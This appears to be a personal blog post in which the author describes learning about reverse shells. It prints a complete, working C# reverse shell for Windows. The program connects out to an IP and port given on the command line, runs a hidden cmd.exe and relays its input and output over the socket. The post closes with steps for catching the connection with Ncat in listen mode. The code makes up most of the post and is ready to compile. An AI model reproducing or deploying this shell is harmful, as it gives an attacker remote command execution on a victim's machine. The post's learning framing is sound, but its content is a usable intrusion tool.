I was quite
unfamiliar with the reverse shells so I wanted to understand the concept and
learn to make one of my own. I started googling and there were many examples
available for Linux environment. However, I wanted to get a reverse shell
between two Windows machines. I found one example and that was written with
CSharp which was even better: https://medium.com/@Bank_Security/undetectable-c-c-reverse-shells-fab4c0ec4f15
I did not
get the sample code to work which had much to do with my lack of understanding.
But every failure is a great learning opportunity. I modified the original code
and the final code I came up with accepts command line parameters. So here is
my CSharp code for reverse shell:
using
System;
using
System.Text;
using
System.IO;
using
System.Diagnostics;
using
System.Net.Sockets;
namespace
RevShell
{
class Program
{
static StreamWriter streamWriter;
static Process p;
//
https://medium.com/@Bank_Security/undetectable-c-c-reverse-shells-fab4c0ec4f15
//
https://gist.github.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc
static void Main(string[] args)
{
TcpClient client = null;
Stream stream;
StreamReader streamReader;
StringBuilder strInput;
string ipAddress =
"127.0.0.1";
int port = 0;
// Commandline has IP and port number
if(args.Length == 2)
{
ipAddress = args[0];
if (int.TryParse(args[1], out
port))
{
// Port number 1 - 65535
if (port < 1 || port
> 65535) port = 80;
}
} // Commandline has port number
else if(args.Length == 1)
{
if(int.TryParse(args[0], out
port))
{
// Port number 1 - 65535
if (port < 1 || port
> 65535) port = 80;
}
}
if (port == 0) port = 80; // Use
default
try
{
// Connect to host
client = new TcpClient(ipAddress, port);
Console.WriteLine("Connecting: " + ipAddress + ":" +
port);
}
catch(Exception ex)
{
Console.WriteLine("Exception: " + ex.Message);
return;
}
stream = client.GetStream();
streamReader = new
StreamReader(stream);
streamWriter = new
StreamWriter(stream);
strInput = new StringBuilder();
// Create and start a shell in the
client machine, redirect I/O to host machine
p = new Process();
p.StartInfo.FileName =
"cmd.exe";
p.StartInfo.CreateNoWindow = true;
p.StartInfo.UseShellExecute =
false;
p.StartInfo.RedirectStandardOutput
= true;
p.StartInfo.RedirectStandardInput =
true;
p.StartInfo.RedirectStandardError =
true;
p.OutputDataReceived += new
DataReceivedEventHandler(CmdOutputDataHandler);
p.Start();
p.StandardInput.AutoFlush = true;
p.BeginOutputReadLine();
while (true)
{
try
{
string line =
streamReader.ReadLine();
if (!string.IsNullOrEmpty(line))
{
p.StandardInput.WriteLine(line);
}
}
catch(Exception ex)
{
Console.WriteLine("Exception: " + ex.Message);
break;
}
}
}
private static void
CmdOutputDataHandler(object sendingProcess, DataReceivedEventArgs outLine)
{
StringBuilder strOutput = new
StringBuilder();
if
(!String.IsNullOrEmpty(outLine.Data))
{
try
{
string line = outLine.Data;
if(!string.IsNullOrEmpty(line))
{
streamWriter.WriteLine(line);
streamWriter.Flush();
}
}
catch (Exception ex)
{
Console.WriteLine("Exception:
" + ex.Message);
}
}
}
}
}
As this is a
purely proof-of-concept code, it does not have any persistence or stealthy
features.
The reverse
shell contains two parts. First part is the shell itself which in the code
above is cmd.exe. The second part is the communication from the
"victim" machine back to caller's "server" which is done
with the TCP Socket. Command shell is started as a new process and the process'
standard input, output and error streams are redirected to the TCP Socket which
in turn sends them to the caller.
The next
problem was the "server" or caller side. There had to be some way to connect
to the same TCP Socket. Every example I found used Linux's netcat command for
this. With some more googling I found out that NMAP contains a Windows implementation
of the netcat. So I downloaded Ncat utility: https://nmap.org/ncat/
Start Ncat with -l and -v options to get it to listen mode and verbose mode.
Start reverse shell in the "victim" machine.